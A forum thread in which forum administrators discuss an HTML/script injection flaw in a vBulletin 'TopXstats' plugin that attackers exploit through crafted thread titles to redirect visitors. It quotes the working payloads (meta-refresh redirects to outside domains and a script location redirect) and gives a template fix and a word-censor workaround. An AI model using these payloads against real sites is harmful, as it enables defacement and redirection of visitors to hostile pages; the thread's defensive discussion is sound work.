">"">>>><meta http-equiv="Refresh" content="0;url=ht

[Scott MacVicar]

testing issue reported in bug tracker

[organik81]

on my un-reverted forumhome template the redirection was succesful..

[lapsetur]

Lamers are attacking to the forums who has *** MOD. This mod enables html even you close html off on your forum and they are redirecting forums to else where

Here what they use

">"">>>><meta http-equiv="Refresh" content="0;url=http://www.kaktusum.com"> """" >

">"">>>><meta http-equiv="Refresh" content="0;url=http://www.intikam.us/hck"> """" >

They have attacking since this morning

[organik81]

A "TopXstats plugin" bug..

[Bulent Tekcan]

This is not html permission problem.Also organik81 explain that.

Cheers

[lapsetur]

Well absolutely I just did not wanted to give the name of the plugin. This bug is common with other BB boards. I also run another BB board which also has Top "X" stats which has the same problem

[DJ PİSAGOR]

yes, topxstats bug.
Thread title;

">"">>>><meta http-equiv="Refresh" content="0;url=http://goingadress.com"> """" > 

Admincp >>> Stil & Templates >>> Edit templates >>> topXstats_thread_bit
all replace;

<tr>
 <td nowrap="nowrap"><div class="smallfont"><strong><if condition="$getstats_thread[newpost]">$newpostprefix<else />$oldpostprefix</if> <a href="showthread.php?$session[sessionurl]goto=newpost&amp;t=$getstats_thread[threadid]">$getstats_thread[titletrimmed]</a></stong></div></td>
                <if condition="$getstats_thread[isdeleted]">
<td colspan=3" align="left" nowrap="nowrap"><div class="smallfont"><phrase 1="member.php?$session[sessionurl]u=$getstats_thread[del_userid]" 2="$getstats_thread[del_username]">$vbphrase[thread_deleted_by_x]</phrase></div></td>
                <else />
<td nowrap="nowrap"><div class="smallfont"><a href="member.php?$session[sessionurl]u=$getstats_thread[userid]">$getstats_thread[musername]</a></div></td>
                <td align="right" nowrap="nowrap"><div class="smallfont">$getstats_thread[views]</div></td>
                <td align="right" nowrap="nowrap"><div class="smallfont">$getstats_thread[replycount]</div></td>
                </if>
            </tr> 

Link: http://www.forumena.com/forum/showthread.php?t=7313

[lapsetur]

Is this a permanent solution ?

[DJ PİSAGOR]

Is this a permanent solution ?

Yes.
And temporary solution
Admincp >>> vbulletin Options >>> censorchips Options

">"">>>><meta 

One method there But i am not very good speak english.

[lapsetur]

Before finding out I have already done that

[kuyenmotdivad]

testing issue reported in bug tracker

Wont this exploit meta refresh work in vB3.6.0 as I use it and have no addons or extras installed?

[lapsetur]

If you don't have the plugin installed there is no problem for you

[Death_Warrior]

Elİnİze SaĞlik GÜzel Bİ AÇik

[haknet]

I tested it ...
This is just working on 3.6.0 and if topXstats installed...

But I don't knoe how I can secure my forum
DJ Pisagor I will test your code..
I hope it will be useful

[haknet]

Yes.
And temporary solution
Admincp >>> vbulletin Options >>> censorchips Options

">"">>>><meta 

One method there But i am not very good speak english.

It is not safe
Because there is another code

">"">>>><script>location="<A href=http://www.google.com</script"> """" >